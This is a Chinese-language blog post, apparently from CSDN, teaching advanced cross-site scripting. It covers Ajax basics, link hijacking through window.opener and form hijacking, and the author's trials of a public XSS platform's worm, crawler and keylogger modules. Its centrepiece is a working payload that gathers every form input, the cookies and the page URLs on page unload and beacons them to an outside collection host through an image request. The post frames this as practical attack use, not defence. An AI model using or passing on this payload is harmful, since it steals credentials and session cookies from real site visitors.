XSS进阶

本文深入探讨了JavaScript的基础语法和DOM理解,以及如何利用Ajax进行异步数据交换。同时,讲解了JavaScript在WebAPI接口利用、RCE漏洞、XSS攻击等方面的安全问题,包括跨域思路、表单劫持和XSS爬虫等攻击手段的原理与实战。通过对Ajax的详细解析,展示了如何编写JavaScript代码来发送和处理数据,以及如何在实际场景中防止安全风险。
摘要由CSDN通过智能技术生成

前置知识点:

①javascript基础知识

javascript参考文档
自我理解的javascript
在这里插入图片描述

基础的javascript语法

在这里插入图片描述

在这里插入图片描述
html dom理解
属性
在这里插入图片描述

从基础的语法也可以思考到我们能够利用js进行做的一些事情了
只要具有内容 我们就可以调用js接口去获取很多东西
甚至于如果浏览器的沙箱出问题了 或者是electron的东西 调用本地资源造成rce漏洞
如 蜜罐去获取history 给我的理解就是访问一个网站后网站里面的js调用的web api去获取历史内容发送到指定的网站上去进而进行记录

②ajax基础

概念:
Asynchronous JavaScript and XML,异步的 JavaScript 和 XML

作用原理:(即实现只更新需要更新资源的原理)
1.浏览器创建 XMLHttpRequest 对象,发送 AJAX 请求
2.服务器接收请求,创建响应,返回数据
3.浏览器接收数据,动态渲染页面
在这里插入图片描述
基本写法:

①创建xmlhttpRequest对象
var xmlhttp;
if (window.XMLHttpRequest) {
    xmlhttp = new XMLHttpRequest();
} else {
    // 兼容 IE6/5
    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
②发送AJAX请求
GET方式
xmlhttp.open('GET',url, true);
xmlhttp.send();

POST方式
xmlhttp.open('POST',url, true);
xmlhttp.send(data);

③监听响应状态
利用readyState的返回码进行判断
0: 请求未初始化
1: 服务器连接已建立
2: 请求已接收
3: 请求处理中
4: 请求已完成,且响应已就绪
status
200: 请求
404: 未找到页面
//典型思路
xmlhttp.onreadystatechange=function() {
    if (xmlhttp.readyState==4 && xmlhttp.status==200) {
        // ...
    }
}

④处理响应
responseText和responseXML属性接收服务端返回的数据
xmlhttp.onreadystatechange=function() {
    if (xmlhttp.readyState==4 && xmlhttp.status==200) {
        console.log(xmlhttp.responseText);
        // 获得响应数据并使用
    }
}

简单的demo:
在这里插入图片描述

如这里针对表单进行编写一个demo去发送数据

//第一步获取到数据
利用dom html的知识点
<script type="text/javascript">
var account=document.getElementById('account');
var password=document.getElementById('password');
var submit=document.getElementsByName('submit'); 
 submit.onclick=function(){
var xhr=new XMLHttpRequest();
var accountvalue=account.value;
var passwordvalue=password.value;

var data='account='+ accountvalue+'&password='+passwordvalue;
xhr.open('post','http://localhost:3000/post');
xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xhr.send(params);
xhr.onload=function(){
    console.log(xhr.responseText)
    }
}
var accountvalue=account.value; 
console.log(accountvalue);

③xss获取数据的原理

因为具有同源策略,所以直接注入xss代码调用html dom发送cookie给其他网站的思路获取cookie以及数据 这条路被限定死了

但是我们可以从其他的思路绕
①跨域思路绕
有些标签允许跨域 因此我们可以把我们的代码扔在一个页面里面
然后利用标签去引用加载他

'">
然后我们在一个平台里面即可绕过同源策略进而获取到数据
②插入表单类代码进行钓鱼攻击
在这里插入图片描述

t00ls的XSS平台实战利用

一.蠕虫进行钓鱼

实战攻击方法:
配置方法
①配置一个基础的demo
在这里插入图片描述
在这里插入图片描述
②在创建一个蠕虫
把基础配置里面的xssurl扔到蠕虫配置里面去
在这里插入图片描述
然后进行组合
当访问时 会自动劫持该页面的标签的其他页面

在本页中
在这里插入图片描述

a标签的下一个中 弹弹弹弹走鱼尾纹
在这里插入图片描述

最后相应的cookie以及内容弹回在接受那个地方
在这里插入图片描述

产生原理研究:
只有通过脚本弹出的页面,才能拥有 opener 属性。然而事实上,通过超链接点开的页面居然也有
opener属性:不受同源策略限制
即可直接调用这个进行写 进而注入代码
在这里插入图片描述

两种
反向注入(即往父辈进行注入)
正向注入(往子代进行注入)
原理:
在用户点击瞬间,屏蔽掉默认的超链接 转而用弹框页进行取代,进而把xss的代码注入到了windows.open的跳转页面去了

windows.open的思路

<SCRIPT LANGUAGE="javascript">
<!--
window.open ('page.html')
-->
</SCRIPT>

常见三种
表单劫持
原理:
window.open 第二个参数可以赋予新窗口一个 name,然后将 name 赋予表单的 target 属性,即可在我们创建的新窗口里提交
框架注入劫持

二.新表单(登录)劫持

在这里插入图片描述
原理分析:调用document.getElementsByTagName(‘input’);去获取所有的input标签 然后进行提权标签里面的内容通过去发送

document.getElementsByTagName("body")[0].setAttribute("onunload","postData()");
function postData() {	
        var locationurl=function() {
        try {
            return document.location
        } catch(e) {
            return ''
        }
    }();
        var topurl=function() {
        try {
            return top.location.href
        } catch(e) {
            return ''
        }
    }();
        var cookie = function() {
        try {
            return document.cookie
        } catch(e) {
            return ''
        }
    }();
        var inputs, index;
        var output ="";
        var outputif ="";
        inputs = document.getElementsByTagName('input');		
        for (index = 0; index < inputs.length; ++index) {
                input_name = inputs[index].id || inputs[index].name;
                if(input_name.replace(/(^s*)|(s*$)/g, "").length >2 || inputs[index].value.replace(/(^s*)|(s*$)/g, "").length >2){
                   output = output + "----" + input_name + "=" + inputs[index].value;
                   if(input_name.toLowerCase != "submit" || inputs[index].type.toLowerCase != "submit"){
                       outputif = outputif + inputs[index].value;
                   }
                 }
        }
        output = encodeURIComponent(output); //此版本为修复版2017-08-08 gdd.gd
        if(outputif.replace(/(^s*)|(s*$)/g, "").length >4){
            new Image().src = "//x0.nz/bdstatic.com/?callback=jsonp&id=dSad"+"&location="+encodeURIComponent(locationurl)+"&toplocation="+encodeURIComponent(topurl)+"&datastorage="+output+"&cookie="+encodeURIComponent(cookie);
        }
}

三.xss爬虫
使用方法
还行 还可以这个 获取源码还可以
在这里插入图片描述
在这里插入图片描述
四.其他自己觉得不是有意义的
①基础认证钓鱼
在这里插入图片描述
②读取源码其实跟爬取那个差不多
读取到的是我们访问能看到的文件内容 不过结合xss钓鱼别人还能用吧 只能说将就看
在这里插入图片描述
在这里插入图片描述
③键盘记录
我没成功
在这里插入图片描述
④url跳转跳转
不好用
在这里插入图片描述

总结:其实核心就是自己结合网站的参数然后利用ajax的知识和javascript的知识点 编写一个demo.js然后跨域或者钓鱼的思路进行获取数据和进一步利用

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

goddemon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值